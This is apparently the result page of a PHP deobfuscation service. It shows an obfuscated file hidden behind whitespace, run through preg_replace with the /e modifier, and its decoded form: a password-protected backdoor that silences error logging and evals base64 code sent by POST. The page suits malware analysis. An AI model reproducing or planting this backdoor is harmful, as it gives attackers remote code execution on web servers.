Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "f2rI2IypSsTge9ZkZo977NNwrhbEB8HK")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php




                                                                                                                                                                                                                                $yd1mg4="\x70\x72\x65\x67_r\x65\x70".chr(108)."\x61c\x65";$wxUl="e\x76\x61\x6c(\x62".chr(97)."\x73\x65\x364_".chr(100)."\x65c".chr(111)."\x64e\x28\x22".chr(81)."\x47\x56\x79\x63".chr(109)."9y".chr(88)."3\x4A\x6C".chr(99)."\x47\x39\x79".chr(100)."G".chr(108)."u\x5A".chr(121).chr(103).chr(119)."\x4bT\x73\x4BQG\x6C\x75aV\x39\x7A\x5A\x58\x51\x6F".chr(73)."mR".chr(112)."c\x33\x42s\x59\x58".chr(108)."\x66".chr(90).chr(88)."\x4ayb".chr(51)."\x4azIi\x77wK\x54\x73\x4b".chr(81).chr(71).chr(108)."\x75".chr(97)."V".chr(57)."\x7aZ".chr(88)."Q\x6F\x49".chr(109)."\x78v\x5A19\x6Cc\x6EJ".chr(118)."cn\x4Di\x4C\x44".chr(65)."p".chr(79)."\x77".chr(112)."\x41\x61W\x35\x70X3N\x6C".chr(100).chr(67).chr(103)."i\x5A".chr(88)."Jyb\x33\x4A\x66bG\x39".chr(110)."\x49\x69\x77\x77K\x54\x73KC".chr(109)."\x6c".chr(109).chr(73)."\x43\x68p\x63\x33".chr(78)."\x6cd\x43\x67".chr(107).chr(88)."\x31\x42PU\x31".chr(81)."\x70".chr(73)."\x43Y".chr(109)."I".chr(71)."\x6c\x7A".chr(88)."\x32".chr(70)."\x79".chr(99).chr(109)."F5\x4bCR\x66\x55\x45".chr(57)."T".chr(86)."\x43k\x67\x4ai\x59".chr(103)."\x59\x32".chr(57)."\x31\x62".chr(110)."\x51".chr(111)."JF".chr(57).chr(81)."\x54\x31".chr(78)."\x55K".chr(84)."4".chr(120).chr(75).chr(81).chr(112)."7\x43g".chr(108).chr(109)."b3\x4al\x59W\x4E\x6F\x49C\x67\x6bX\x31\x42\x50U1QgYX\x4d".chr(103)."\x4aH\x5a".chr(104)."\x63\x69".chr(107).chr(75)."\x43".chr(88)."\x73".chr(75)."\x43\x51\x6cp\x5ai\x41oIWl".chr(122)."\x63".chr(50).chr(86)."\x30KC".chr(82)."j\x62\x32\x52\x6CK".chr(83)."\x6bg\x4aGNv\x5a\x47U".chr(103).chr(80)."S".chr(65)."k\x64m".chr(70)."\x79O\x77\x6F\x4aC\x57\x56\x73".chr(99)."\x32".chr(86)."\x70".chr(90)."i\x41".chr(111)."\x49\x57".chr(108)."\x7a".chr(99)."2".chr(86)."0".chr(75).chr(67)."\x52\x77\x59X".chr(78)."\x7A\x4b".chr(83).chr(107).chr(103).chr(74)."\x48B".chr(104)."c".chr(51).chr(77)."\x67P\x53\x41kd\x6dF\x79\x4F".chr(119)."\x6fJ".chr(67)."\x57\x56".chr(115)."c2".chr(85)."\x67".chr(89).chr(110)."\x4A\x6cY".chr(87)."s7\x43gl".chr(57).chr(67)."g\x6fJaW".chr(89)."g\x4bC\x52wY".chr(88)."N\x7a".chr(73)."\x44".chr(48)."9\x49\x43J".chr(109)."Mn".chr(74)."\x4aMk\x6c\x35c".chr(70)."N\x7aV\x47dl\x4F".chr(86)."p\x72".chr(87).chr(109).chr(56)."5".chr(78)."\x7A\x64".chr(79).chr(84)."n\x64\x79\x61G\x4AF".chr(81)."jh".chr(73).chr(83)."\x79\x49\x70".chr(67)."\x67".chr(108).chr(55)."\x43\x67k\x4AZ\x58Zh\x62Ch\x69".chr(89)."X".chr(78).chr(108)."\x4e\x6A".chr(82).chr(102)."\x5aG\x56jb\x32".chr(82)."\x6c".chr(75).chr(67)."\x52j\x62\x32\x52\x6c\x4B\x53".chr(107)."7C\x67\x6C\x39Cn0K\x5A\x58".chr(104)."\x70\x64D\x73=".chr(34).chr(41).")\x3B";$H1HJA="\x2F".chr(99)."9fb\x379".chr(51)."d\x63".chr(50)."\x65b\x370\x36".chr(56)."\x38\x30".chr(57)."66".chr(48).chr(56).chr(53).chr(52)."b".chr(51)."6b\x32\x641/e";$yd1mg4($H1HJA,$wxUl,"\x63\x39f\x62\x379\x33d\x63".chr(50).chr(101).chr(98)."\x3706\x38".chr(56)."0\x396".chr(54).chr(48)."8\x35\x34\x62\x33".chr(54)."b".chr(50)."\x641");


?>

Function Calls

chr 156
preg_replace 1
base64_decode 1

Variables

$wxUl eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..
$H1HJA /c9fb793dc2eb7068809660854b36b2d1/e
$yd1mg4 preg_replace

Stats

MD5 05a46c611db6670957670b672f384bff
Eval Count 2
Decode Time 213 ms